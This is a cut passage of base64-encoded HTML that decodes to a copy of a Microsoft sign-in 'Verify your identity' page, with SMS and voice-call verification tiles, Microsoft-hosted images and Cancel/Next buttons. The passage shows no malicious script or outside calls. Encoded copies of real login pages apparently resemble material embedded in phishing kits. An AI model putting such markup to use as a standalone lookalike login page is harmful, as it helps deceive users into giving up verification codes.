jUHJvb2ZzLAogICAgICAgICAgICAgICAgICAgICAgICBpc0luaXRpYWxTdGF0ZTogaXNJbml0aWFsU3RhdGUsCiAgICAgICAgICAgICAgICAgICAgICAgIHNob3dDYW5jZWxCdXR0b246IHNoYXJlZERhdGEuc2hvd0NhbmNlbEJ1dHRvbiwKICAgICAgICAgICAgICAgICAgICAgICAgaGlkZVNtc0luTWZhUHJvb2ZzOiBzaGFyZWREYXRhLmhpZGVTbXNJbk1mYVByb29mcywKICAgICAgICAgICAgICAgICAgICAgICAgZm9jdXNEZWZhdWx0RmllbGQ6IHRydWUgfSwKICAgICAgICAgICAgICAgICAgICBldmVudDogewogICAgICAgICAgICAgICAgICAgICAgICBjYW5jZWw6IHZpZXdfb25DYW5jZWwsCiAgICAgICAgICAgICAgICAgICAgICAgIHJlZGlyZWN0OiAkdGZhUGFnZS52aWV3X29uUmVkaXJlY3QsCiAgICAgICAgICAgICAgICAgICAgICAgIHNob3dEZWJ1Z0RldGFpbHM6ICR0ZmFQYWdlLnRvZ2dsZURlYnVnRGV0YWlsc19vbkNsaWNrLAogICAgICAgICAgICAgICAgICAgICAgICBzZXRQZW5kaW5nUmVxdWVzdDogJHRmYVBhZ2Uudmlld19vblNldFBlbmRpbmdSZXF1ZXN0LAogICAgICAgICAgICAgICAgICAgICAgICB1cGRhdGVTZXNzaW9uSWRlbnRpZmllcjogJHRmYVBhZ2Uudmlld19vblVwZGF0ZVNlc3Npb25JZGVudGlmaWVyLAogICAgICAgICAgICAgICAgICAgICAgICBzaG93TW9yZVByb29mczogJHRmYVBhZ2Uudmlld19vblNob3dNb3JlUHJvb2ZzIH0gfSI+PCEtLSAgLS0+Cgo8IS0tIGtvIGlmOiBkZWZhdWx0UHJvb2YgJiYgc2VuZGluZygpIC0tPjwhLS0gL2tvIC0tPgoKPCEtLSBrbyBpZm5vdDogZGVmYXVsdFByb29mICYmIHNlbmRpbmcoKSAtLT4KPGRpdiBpZD0iaWREaXZfU0FPVENTX1RpdGxlIiBjbGFzcz0icm93IHRleHQtdGl0bGUiIHJvbGU9ImhlYWRpbmciIGFyaWEtbGV2ZWw9IjEiIGRhdGEtYmluZD0idGV4dDogc3RyW1wnQ1RfU0FPVENDX1NUUl9UaXRsZVwnXSI+VmVyaWZ5IHlvdXIgaWRlbnRpdHk8L2Rpdj4KCjwhLS0ga28gaWY6IHN2ci5mSXNDaGFsbGVuZ2VEdWVUb0F1dGhlbnRpY2F0aW9uU3RyZW5ndGhzIC0tPjwhLS0gL2tvIC0tPgoKPGRpdiBpZD0iaWREaXZfU0FPVENTX1Byb29mc19TZWN0aW9uIj4KICAgIDwhLS0ga28gaWY6IHNlcnZlckVycm9yIC0tPjwhLS0gL2tvIC0tPgoKICAgIDxkaXYgaWQ9ImlkRGl2X1NBT1RDU19Qcm9vZnMiIGNsYXNzPSJmb3JtLWdyb3VwIiByb2xlPSJsaXN0IiBkYXRhLWJpbmQ9ImNzczogeyBcJ2JpbmFyeUNob2ljZSBsaXN0XCc6IHN2ci5mU3VwcG9ydFdpbmRvd3NTdHlsZXMgfSIgYXJpYS1sYWJlbGxlZGJ5PSJpZERpdl9TQU9UQ1NfRXJyb3JfT1RDIGlkRGl2X1NBT1RDU19UaXRsZSI+CiAgICAgICAgPCEtLSBrbyBmb3JlYWNoOiB7IGRhdGE6IHByb29mcyB9IC0tPgogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmlzUHJvb2ZWaXNpYmxlKHR5cGUpIC0tPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cgdGlsZSIgcm9sZT0ibGlzdGl0ZW0iPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGFibGUiIHRhYmluZGV4PSIwIiByb2xlPSJidXR0b24iIGRhdGEtYmluZD0iCiAgICAgICAgICAgICAgICAgICAgYXR0cjogeyBcJ2RhdGEtdmFsdWVcJzogdmFsdWUgfSwKICAgICAgICAgICAgICAgICAgICBjc3M6IHsgXCdsaXN0LWl0ZW1cJzogc3ZyLmZTdXBwb3J0V2luZG93c1N0eWxlcyB9LAogICAgICAgICAgICAgICAgICAgIGFyaWFEZXNjcmliZWRCeTogJGRhdGEgPT09ICRwYXJlbnQuZm9jdXNlZFByb29mKCkgPyBcJ2lkRGl2X1NBT1RDU19UaXRsZVwnIDogbnVsbCwKICAgICAgICAgICAgICAgICAgICBjbGljazogJHBhcmVudC5wcm9vZl9vbkNsaWNrLAogICAgICAgICAgICAgICAgICAgIHByZXNzRW50ZXI6ICRwYXJlbnQucHJvb2Zfb25DbGljaywKICAgICAgICAgICAgICAgICAgICBoYXNGb2N1czogJGRhdGEgPT09ICRwYXJlbnQuZm9jdXNlZFByb29mKCkiIGRhdGEtdmFsdWU9Ik9uZVdheVNNUyIgYXJpYS1kZXNjcmliZWRieT0iaWREaXZfU0FPVENTX1RpdGxlIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0YWJsZS1yb3ciPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0YWJsZS1jZWxsIHRpbGUtaW1nIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgZGF0YS1iaW5kPSJjb21wb25lbnQ6IHsgbmFtZTogXCdwcm9vZi1pbWFnZS1jb250cm9sXCcsIHBhcmFtczogeyB0eXBlOiB0eXBlIH0gfSI+PCEtLSAgLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLkVtYWlsIC0tPjwhLS0gL2tvIC0tPgoKPCEtLSBrbyBpZjogdHlwZSA9PT0gUFJPT0YuVHlwZS5TTVMgfHwgdHlwZSA9PT0gUFJPT0YuVHlwZS5Ud29XYXlTTVMgfHwgdHlwZSA9PT0gUFJPT0YuVHlwZS5Ud29XYXlTTVNBbHRlcm5hdGVNb2JpbGUgLS0+CiAgICA8IS0tIGtvIGNvbXBvbmVudDogXCdhY2Nlc3NpYmxlLWltYWdlLWNvbnRyb2xcJyAtLT48IS0tIGtvIGlmOiAoaXNIaWdoQ29udHJhc3RCbGFja1RoZW1lIHx8IGhhc0RhcmtCYWNrZ3JvdW5kIHx8IHN2ci5mSGFzQmFja2dyb3VuZENvbG9yKSAmJiAhaXNIaWdoQ29udHJhc3RXaGl0ZVRoZW1lIC0tPjwhLS0gL2tvIC0tPgo8IS0tIGtvIGlmOiAoaXNIaWdoQ29udHJhc3RXaGl0ZVRoZW1lIHx8ICghaGFzRGFya0JhY2tncm91bmQgJiYgIXN2ci5mSGFzQmFja2dyb3VuZENvbG9yKSkgJiYgIWlzSGlnaENvbnRyYXN0QmxhY2tUaGVtZSAtLT4KPCEtLSBrbyB0ZW1wbGF0ZTogeyBub2RlczogW2RhcmtJbWFnZU5vZGVdLCBkYXRhOiAkcGFyZW50IH0gLS0+PGltZyBjbGFzcz0idGlsZS1pbWciIHJvbGU9InByZXNlbnRhdGlvbiIgcG5nc3JjPSJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQURBQUFBQXdDQVlBQUFCWEF2bUhBQUFBQ1hCSVdYTUFBQXNTQUFBTEVnSFMzWDc4QUFBQXFFbEVRVlJvM3UzWnNRMkVNQkJFMFRHNm5GYXVCTGJ5cFFSYW9RSmZpcHljaFpIV3huOWpCL004SUxRaTVadzE4aXdhZkFBQUFBQUF3TnlBejc4RFpoYjZxWGIzTkhjRHRUZng5TlEyejBzTUFBQUFBQUFBQUFBQUFBQ0E5MjlrNVlaMDNkRE03Q3RwbDdRTzEwQmsrS29HeWwzNDJrUVIvcFMwdWZzeFJBTTloRzk5aE1MRHR3TEN3N2NDd3NPM0FMb0lmeGZRVGZpN2dHN0NTMUxpUHpFQUFBQUFUQTM0QVVEcVAwYldpZk54QUFBQUFFbEZUa1N1UW1DQyIgc3Znc3JjPSJkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LEg0c0lBQUFBQUFBRUFIV1B2YTdDTUF5Rlh5VXlhOVU0UDRpQWtnNTM2Z0JyaDdzaENFMmswaUppTlR6K1RTNWlSTGJrWS92VHNXelRPckxYZlpxVGcwRDBPSENlYzI2emFwZm55Q1VpOGtJQXkvRkt3WUUyd0lLUFk2QzNYcVBQUDh2TEFUSmsycFNFemxLa3lYZm5sRHdseTkrZGZmb0xmWE81eFdseU1DK3pCOTdaeDVrQ3V6bzRLZE1vSElUc0JRNEtnMTUxdTkyWm96QzFsRld2ekVuSVJzbmVEQUo3WGFqQzdsc3Q1YkhPLzlYdngzNmpzVWE5VUYvcS9nQ2pEVWZ2K2dBQUFBPT0iIGRhdGEtYmluZD0iaW1nU3JjLCBjc3M6IHsgXCdzbWFsbFwnOiBzbWFsbCwgXCdhbmltYXRlLXB1bHNlXCc6IGFuaW1hdGUgfSIgc3JjPSJkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LFBITjJaeUI0Yld4dWN6MGlhSFIwY0RvdkwzZDNkeTUzTXk1dmNtY3ZNakF3TUM5emRtY2lJSGRwWkhSb1BTSTBPQ0lnYUdWcFoyaDBQU0kwT0NJZ2RtbGxkMEp2ZUQwaU1DQXdJRFE0SURRNElqNDhkR2wwYkdVK1lYTnpaWFJ6UEM5MGFYUnNaVDQ4Y21WamRDQjNhV1IwYUQwaU5EZ2lJR2hsYVdkb2REMGlORGdpSUdacGJHdzlJbTV2Ym1VaUx6NDhjR0YwYUNCa1BTSk5NemdzTXpCV01USklNVEJXTXpCb05IWTBMalUzT0V3eE9DNDFOemdzTXpCSU16aE5NVElzTXpKSU9GWXhNRWcwTUZZek1rZ3hPUzQwTWpKTU1USXNNemt1TkRJeVdpSWdabWxzYkQwaUl6UXdOREEwTUNJdlBqd3ZjM1puUGc9PSI+PCEtLSAva28gLS0+CjwhLS0gL2tvIC0tPjwhLS0gL2tvIC0tPgo8IS0tIC9rbyAtLT4KCjwhLS0ga28gaWY6IHR5cGUgPT09IFBST09GLlR5cGUuVm9pY2UgfHwgdHlwZSA9PT0gUFJPT0YuVHlwZS5Ud29XYXlWb2ljZSB8fCB0eXBlID09PSBQUk9PRi5UeXBlLlR3b1dheVZvaWNlQWx0ZXJuYXRlTW9iaWxlIHx8IHR5cGUgPT09IFBST09GLlR5cGUuVHdvV2F5Vm9pY2VPZmZpY2UgLS0+PCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLlRPVFBBdXRoZW50aWNhdG9yVjIgLS0+PCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLlRPVFBBdXRoZW50aWNhdG9yIC0tPjwhLS0gL2tvIC0tPgoKPCEtLSBrbyBpZjogdHlwZSA9PT0gUFJPT0YuVHlwZS5GaWRvS2V5IC0tPjwhLS0gL2tvIC0tPgoKPCEtLSBrbyBpZjogdHlwZSA9PT0gUFJPT0YuVHlwZS5BY2Nlc3NQYXNzIC0tPjwhLS0gL2tvIC0tPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGFibGUtY2VsbCB0ZXh0LWxlZnQgY29udGVudCBjbGljay10by1lbnRlciIgZGF0YS1iaW5kPSJjc3M6IHsgXCdjb250ZW50XCc6ICFzdnIuZlN1cHBvcnRXaW5kb3dzU3R5bGVzIH0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBkYXRhLWJpbmQ9InRleHQ6IGRpc3BsYXkiIGNsYXNzPSJob2xkZXIiPgoJCQkJCQkJCVRleHQgPHNwYW4gY2xhc3M9ImFkZC10ZXh0Ij48L3NwYW4+CgkJCQkJCQk8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmlzUHJvb2ZWaXNpYmxlKHR5cGUpIC0tPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cgdGlsZSIgcm9sZT0ibGlzdGl0ZW0iPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGFibGUiIHRhYmluZGV4PSIwIiByb2xlPSJidXR0b24iIGRhdGEtYmluZD0iCiAgICAgICAgICAgICAgICAgICAgYXR0cjogeyBcJ2RhdGEtdmFsdWVcJzogdmFsdWUgfSwKICAgICAgICAgICAgICAgICAgICBjc3M6IHsgXCdsaXN0LWl0ZW1cJzogc3ZyLmZTdXBwb3J0V2luZG93c1N0eWxlcyB9LAogICAgICAgICAgICAgICAgICAgIGFyaWFEZXNjcmliZWRCeTogJGRhdGEgPT09ICRwYXJlbnQuZm9jdXNlZFByb29mKCkgPyBcJ2lkRGl2X1NBT1RDU19UaXRsZVwnIDogbnVsbCwKICAgICAgICAgICAgICAgICAgICBjbGljazogJHBhcmVudC5wcm9vZl9vbkNsaWNrLAogICAgICAgICAgICAgICAgICAgIHByZXNzRW50ZXI6ICRwYXJlbnQucHJvb2Zfb25DbGljaywKICAgICAgICAgICAgICAgICAgICBoYXNGb2N1czogJGRhdGEgPT09ICRwYXJlbnQuZm9jdXNlZFByb29mKCkiIGRhdGEtdmFsdWU9IlR3b1dheVZvaWNlTW9iaWxlIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0YWJsZS1yb3ciPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0YWJsZS1jZWxsIHRpbGUtaW1nIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgZGF0YS1iaW5kPSJjb21wb25lbnQ6IHsgbmFtZTogXCdwcm9vZi1pbWFnZS1jb250cm9sXCcsIHBhcmFtczogeyB0eXBlOiB0eXBlIH0gfSI+PCEtLSAgLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLkVtYWlsIC0tPjwhLS0gL2tvIC0tPgoKPCEtLSBrbyBpZjogdHlwZSA9PT0gUFJPT0YuVHlwZS5TTVMgfHwgdHlwZSA9PT0gUFJPT0YuVHlwZS5Ud29XYXlTTVMgfHwgdHlwZSA9PT0gUFJPT0YuVHlwZS5Ud29XYXlTTVNBbHRlcm5hdGVNb2JpbGUgLS0+PCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLlZvaWNlIHx8IHR5cGUgPT09IFBST09GLlR5cGUuVHdvV2F5Vm9pY2UgfHwgdHlwZSA9PT0gUFJPT0YuVHlwZS5Ud29XYXlWb2ljZUFsdGVybmF0ZU1vYmlsZSB8fCB0eXBlID09PSBQUk9PRi5UeXBlLlR3b1dheVZvaWNlT2ZmaWNlIC0tPgogICAgPCEtLSBrbyBjb21wb25lbnQ6IFwnYWNjZXNzaWJsZS1pbWFnZS1jb250cm9sXCcgLS0+PCEtLSBrbyBpZjogKGlzSGlnaENvbnRyYXN0QmxhY2tUaGVtZSB8fCBoYXNEYXJrQmFja2dyb3VuZCB8fCBzdnIuZkhhc0JhY2tncm91bmRDb2xvcikgJiYgIWlzSGlnaENvbnRyYXN0V2hpdGVUaGVtZSAtLT48IS0tIC9rbyAtLT4KPCEtLSBrbyBpZjogKGlzSGlnaENvbnRyYXN0V2hpdGVUaGVtZSB8fCAoIWhhc0RhcmtCYWNrZ3JvdW5kICYmICFzdnIuZkhhc0JhY2tncm91bmRDb2xvcikpICYmICFpc0hpZ2hDb250cmFzdEJsYWNrVGhlbWUgLS0+CjwhLS0ga28gdGVtcGxhdGU6IHsgbm9kZXM6IFtkYXJrSW1hZ2VOb2RlXSwgZGF0YTogJHBhcmVudCB9IC0tPjxpbWcgY2xhc3M9InRpbGUtaW1nIiByb2xlPSJwcmVzZW50YXRpb24iIHBuZ3NyYz0iaHR0cHM6Ly9hYWRjZG4ubXNhdXRoLm5ldC9zaGFyZWQvMS4wL2NvbnRlbnQvaW1hZ2VzL3BpY2tlcl92ZXJpZnlfY2FsbF8zZmI5YzdlODdjMDRmZjhmNTZkZDYxZWY4Yjc0OGMwMi5wbmciIHN2Z3NyYz0iaHR0cHM6Ly9hYWRjZG4ubXNhdXRoLm5ldC9zaGFyZWQvMS4wL2NvbnRlbnQvaW1hZ2VzL3BpY2tlcl92ZXJpZnlfY2FsbF9mZTg3NDk2Y2M3YTQ0NDEyZjc4OTNhNzIwOTljMTIwYS5zdmciIGRhdGEtYmluZD0iaW1nU3JjLCBjc3M6IHsgXCdzbWFsbFwnOiBzbWFsbCwgXCdhbmltYXRlLXB1bHNlXCc6IGFuaW1hdGUgfSIgc3JjPSJodHRwczovL2FhZGNkbi5tc2F1dGgubmV0L3NoYXJlZC8xLjAvY29udGVudC9pbWFnZXMvcGlja2VyX3ZlcmlmeV9jYWxsX2ZlODc0OTZjYzdhNDQ0MTJmNzg5M2E3MjA5OWMxMjBhLnN2ZyI+PCEtLSAva28gLS0+CjwhLS0gL2tvIC0tPjwhLS0gL2tvIC0tPgo8IS0tIC9rbyAtLT4KCjwhLS0ga28gaWY6IHR5cGUgPT09IFBST09GLlR5cGUuVE9UUEF1dGhlbnRpY2F0b3JWMiAtLT48IS0tIC9rbyAtLT4KCjwhLS0ga28gaWY6IHR5cGUgPT09IFBST09GLlR5cGUuVE9UUEF1dGhlbnRpY2F0b3IgLS0+PCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLkZpZG9LZXkgLS0+PCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLkFjY2Vzc1Bhc3MgLS0+PCEtLSAva28gLS0+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0YWJsZS1jZWxsIHRleHQtbGVmdCBjb250ZW50IGNsaWNrLXRvLWVudGVyIiBkYXRhLWJpbmQ9ImNzczogeyBcJ2NvbnRlbnRcJzogIXN2ci5mU3VwcG9ydFdpbmRvd3NTdHlsZXMgfSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGRhdGEtYmluZD0idGV4dDogZGlzcGxheSIgY2xhc3M9ImhvbGRlciI+CgkJCQkJCQkJVGV4dCA8c3BhbiBjbGFzcz0iYWRkLXRleHQiPjwvc3Bhbj4KCQkJCQkJCTwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPCEtLSAva28gLS0+CiAgICAgICAgPCEtLSAva28gLS0+CiAgICA8L2Rpdj4KPC9kaXY+Cgo8ZGl2IGRhdGEtYmluZD0iY3NzOiB7IFwncG9zaXRpb24tYnV0dG9uc1wnOiAhdGVuYW50QnJhbmRpbmcuQm9pbGVyUGxhdGVUZXh0IH0iIGNsYXNzPSJwb3NpdGlvbi1idXR0b25zIj4KICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgPCEtLSBrbyBpZjogc2hvd0hhdmVDb2RlU2VjdGlvbiB8fCBzaG93TW9yZVByb29mc0xpbmsoKSB8fCBsb3N0UHJvb2YgfHwgc3ZyLnVybE1vcmVJbmZvIHx8IHN2ci5mU2hvd0F1dGhNZXRob2RzVXBkYXRlTGluayAtLT4KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMjQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXh0LTEzIj4KICAgICAgICAgICAgICAgIDwhLS0ga28gaWY6IHNob3dIYXZlQ29kZVNlY3Rpb24gLS0+PCEtLSAva28gLS0+CiAgICAgICAgICAgICAgICA8IS0tIGtvIGlmOiBzaG93TW9yZVByb29mc0xpbmsgLS0+PCEtLSAva28gLS0+CiAgICAgICAgICAgICAgICA8IS0tIGtvIGlmOiBsb3N0UHJvb2YgJiYgIXNob3dNb3JlUHJvb2ZzTGluaygpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgICAgICAgICAgPCEtLSBrbyBpZjogc3ZyLnVybE1vcmVJbmZvIC0tPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgICAgICAgICAgICAgPGEgaWQ9Im1vcmVJbmZvVXJsIiB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cHM6Ly9nby5taWNyb3NvZnQuY29tL2Z3bGluay9wLz9MaW5rSWQ9NzA4NjE0IiBkYXRhLWJpbmQ9IgogICAgICAgICAgICAgICAgICAgICAgICB0ZXh0OiBzdHJbXCdDVF9TVFJfTW9yZV9JbmZvXCddLAogICAgICAgICAgICAgICAgICAgICAgICBocmVmOiBzdnIudXJsTW9yZUluZm8sCiAgICAgICAgICAgICAgICAgICAgICAgIGFyaWFMYWJlbDogc3RyW1wnQ1RfU1RSX01vcmVfSW5mb19BcmlhTGFiZWxcJ10iIGFyaWEtbGFiZWw9Ik1vcmUgaW5mb3JtYXRpb24gYWJvdXQgdHdvIHN0ZXAgdmVyaWZpY2F0aW9uIj5Nb3JlIGluZm9ybWF0aW9uPC9hPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8IS0tIC9rbyAtLT4KICAgICAgICAgICAgICAgIDwhLS0ga28gaWY6IHN2ci5mU2hvd0F1dGhNZXRob2RzVXBkYXRlTGluayAtLT4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHQtMTMgZm9ybS1ncm91cCI+CiAgICAgICAgICAgICAgICAgICAgPHNwYW4gZGF0YS1iaW5kPSJ0ZXh0OiBzdHJbXCdDVF9TQU9UQ1NfU1RSX1VwZGF0ZV9BdXRoX01ldGhvZHNfTGlua1wnXSI+QXJlIHlvdXIgdmVyaWZpY2F0aW9uIG1ldGhvZHMgY3VycmVudD8gQ2hlY2sgYXQgaHR0cHM6Ly9ha2EubXMvbWZhc2V0dXA8L3NwYW4+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwhLS0gL2tvIC0tPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8IS0tIC9rbyAtLT4KICAgIDwvZGl2Pgo8L2Rpdj4KCjxkaXYgY2xhc3M9Indpbi1idXR0b24tcGluLWJvdHRvbSIgZGF0YS1iaW5kPSJjc3MgOiB7IFwnYm9pbGVycGxhdGUtYnV0dG9uLWJvdHRvbVwnOiB0ZW5hbnRCcmFuZGluZy5Cb2lsZXJQbGF0ZVRleHQgfSI+CiAgICA8ZGl2IGNsYXNzPSJyb3ciIGRhdGEtYmluZD0iY3NzOiB7IFwnbW92ZS1idXR0b25zXCc6IHRlbmFudEJyYW5kaW5nLkJvaWxlclBsYXRlVGV4dCB9Ij4KICAgICAgICA8ZGl2IGRhdGEtYmluZD0iY29tcG9uZW50OiB7IG5hbWU6IFwnZm9vdGVyLWJ1dHRvbnMtZmllbGRcJywKICAgICAgICAgICAgcGFyYW1zOiB7CiAgICAgICAgICAgICAgICBzZXJ2ZXJEYXRhOiBzdnIsCiAgICAgICAgICAgICAgICByZW1vdmVCb3R0b21NYXJnaW46IHRydWUsCiAgICAgICAgICAgICAgICBzZWNvbmRhcnlCdXR0b25JZDogXCdpZEJ0bl9TQU9UQ1NfQ2FuY2VsXCcsCiAgICAgICAgICAgICAgICBzZWNvbmRhcnlCdXR0b25UZXh0OiBzZWNvbmRhcnlCdXR0b25WYWx1ZSgpLAogICAgICAgICAgICAgICAgaXNQcmltYXJ5QnV0dG9uVmlzaWJsZTogZmFsc2UsCiAgICAgICAgICAgICAgICBpc1NlY29uZGFyeUJ1dHRvblZpc2libGU6IHN2ci5mU2hvd0J1dHRvbnMgJmFtcDsmYW1wOyBzaG93Q2FuY2VsQnV0dG9uIH0sCiAgICAgICAgICAgIGV2ZW50OiB7CiAgICAgICAgICAgICAgICBwcmltYXJ5QnV0dG9uQ2xpY2s6IHByaW1hcnlCdXR0b25fb25DbGljaywKICAgICAgICAgICAgICAgIHNlY29uZGFyeUJ1dHRvbkNsaWNrOiBzZWNvbmRhcnlCdXR0b25fb25DbGljayB9IH0iPjxkaXYgY2xhc3M9ImNvbC14cy0yNCBuby1wYWRkaW5nLWxlZnQtcmlnaHQgYnV0dG9uLWNvbnRhaW5lciBuby1tYXJnaW4tYm90dG9tIiBkYXRhLWJpbmQ9IgogICAgdmlzaWJsZTogaXNQcmltYXJ5QnV0dG9uVmlzaWJsZSgpIHx8IGlzU2Vjb25kYXJ5QnV0dG9uVmlzaWJsZSgpLAogICAgY3NzOiB7IFwnbm8tbWFyZ2luLWJvdHRvbVwnOiByZW1vdmVCb3R0b21NYXJnaW4gfSI+CgogICAgPCEtLSBrbyBpZjogaXNTZWNvbmRhcnlCdXR0b25WaXNpYmxlIC0tPgogICAgPGRpdiBjbGFzcz0iaW5saW5lLWJsb2NrIj4KICAgICAgICA8aW5wdXQgdHlwZT0iYnV0dG9uIiBpZD0iaWRCdG5fU0FPVENTX0NhbmNlbCIgY2xhc3M9Indpbi1idXR0b24gYnV0dG9uLXNlY29uZGFyeSBidXR0b24gZXh0LWJ1dHRvbiBzZWNvbmRhcnkgZXh0LXNlY29uZGFyeSIgZGF0YS1iaW5kPSIKICAgICAgICAgICAgYXR0cjogeyBcJ2lkXCc6IHNlY29uZGFyeUJ1dHRvbklkIHx8IFwnaWRCdG5fQmFja1wnIH0sCiAgICAgICAgICAgIGV4dGVybmFsQ3NzOiB7CiAgICAgICAgICAgICAgICBcJ2J1dHRvblwnOiB0cnVlLAogICAgICAgICAgICAgICAgXCdzZWNvbmRhcnlcJzogdHJ1ZSB9LAogICAgICAgICAgICB2YWx1ZTogc2Vjb25kYXJ5QnV0dG9uVGV4dCgpIHx8IHN0cltcJ0NUX0hSRF9TVFJfU3BsaXR0ZXJfQmFja1wnXSwKICAgICAgICAgICAgYXJpYURlc2NyaWJlZEJ5OiBzZWNvbmRhcnlCdXR0b25EZXNjcmliZWRCeSwKICAgICAgICAgICAgaGFzRm9jdXM6IGZvY3VzT25TZWNvbmRhcnlCdXR0b24sCiAgICAgICAgICAgIGNsaWNrOiBzZWNvbmRhcnlCdXR0b25fb25DbGljaywKICAgICAgICAgICAgZW5hYmxlOiBpc1NlY29uZGFyeUJ1dHRvbkVuYWJsZWQiIHZhbHVlPSJDYW5jZWwiPgogICAgPC9kaXY+CiAgICA8IS0tIC9rbyAtLT4KCiAgICA8ZGl2IGRhdGEtYmluZD0iY3NzOiB7IFwnaW5saW5lLWJsb2NrXCc6IGlzUHJpbWFyeUJ1dHRvblZpc2libGUgfSI+CiAgICAgICAgPCEtLSB0eXBlPSJzdWJtaXQiIGlzIG5lZWRlZCBpbi1hZGRpdGlvbiB0byBcJ3R5cGVcJyBpbiBwcmltYXJ5QnV0dG9uQXR0cmlidXRlcyBvYnNlcnZhYmxlIHRvIHN1cHBvcnQgSUU4IC0tPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGlkPSJpZFNJQnV0dG9uOSIgY2xhc3M9Indpbi1idXR0b24gYnV0dG9uX3ByaW1hcnkgYnV0dG9uIGV4dC1idXR0b24gcHJpbWFyeSBleHQtcHJpbWFyeSIgZGF0YS1yZXBvcnQtZXZlbnQ9IlNpZ25pbl9TdWJtaXQiIGRhdGEtcmVwb3J0LXRyaWdnZXI9ImNsaWNrIiBkYXRhLXJlcG9ydC12YWx1ZT0iU3VibWl0IiBkYXRhLWJpbmQ9IgogICAgICAgICAgICAgICAgYXR0cjogcHJpbWFyeUJ1dHRvbkF0dHJpYnV0ZXMsCiAgICAgICAgICAgICAgICBleHRlcm5hbENzczogewogICAgICAgICAgICAgICAgICAgIFwnYnV0dG9uXCc6IHRydWUsCiAgICAgICAgICAgICAgICAgICAgXCdwcmltYXJ5XCc6IHRydWUgfSwKICAgICAgICAgICAgICAgIHZhbHVlOiBwcmltYXJ5QnV0dG9uVGV4dCgpIHx8IHN0cltcJ0NUX1BXRF9TVFJfU2lnbkluX0J1dHRvbl9OZXh0XCddLAogICAgICAgICAgICAgICAgaGFzRm9jdXM6IGZvY3VzT25QcmltYXJ5QnV0dG9uLAogICAgICAgICAgICAgICAgY2xpY2s6IHByaW1hcnlCdXR0b25fb25DbGljaywKICAgICAgICAgICAgICAgIGVuYWJsZTogaXNQcmltYXJ5QnV0dG9uRW5hYmxlZCwKICAgICAgICAgICAgICAgIHZpc2libGU6IGlzUHJpbWFyeUJ1dHRvblZpc2libGUsCiAgICAgICAgICAgICAgICBwcmV2ZW50VGFiYmluZzogcHJpbWFyeUJ1dHRvblByZXZlbnRUYWJiaW5nIiB2YWx1ZT0iTmV4dCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KICAgIDwvZGl2Pgo8L2Rpdj48L2Rpdj4KICAgIDwvZGl2Pgo8L2Rpdj4KPCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0ZW5hbnRCcmFuZGluZy5Cb2lsZXJQbGF0ZVRleHQgLS0+PCEtLSAva28gLS0+PC9kaXY+PCEtLSAva28gLS0+CiAgICAgICAgICAgIDwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT